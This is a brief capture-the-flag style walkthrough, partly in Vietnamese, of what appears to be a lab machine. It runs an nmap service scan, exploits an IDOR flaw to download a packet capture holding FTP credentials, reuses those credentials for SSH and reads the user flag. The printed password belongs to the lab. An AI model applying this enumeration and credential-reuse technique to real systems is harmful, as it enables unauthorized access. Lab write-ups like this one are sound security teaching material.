┌──(kali㉿kali)-[~] └─$ nmap 10.129.5.129 -sV -Pn Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-28 22:43 +07 Nmap scan report for 10.129.5.129 Host is up (0.26s latency). Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) 80/tcp open http Gunicorn Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Phát hiện web service có bug IDOR ở http://10.129.7.91/data/{id}. Tìm và download được file pcab chứa thông tin user,password ftp ở http://10.129.7.91/data/0.
Thử credential đó,phát hiện có thể dùng để ssh được:
1 2 3 4 5 6 7
nathan:Buck3tH4TF0RM3! # ssh và lấy user flag taneora@DUNGNHV-LAPTOP:~$ ssh nathan@10.129.7.91 nathan@10.129.7.91's password: Buck3tH4TF0RM3! nathan@cap:~$ cat user.txt <user flag>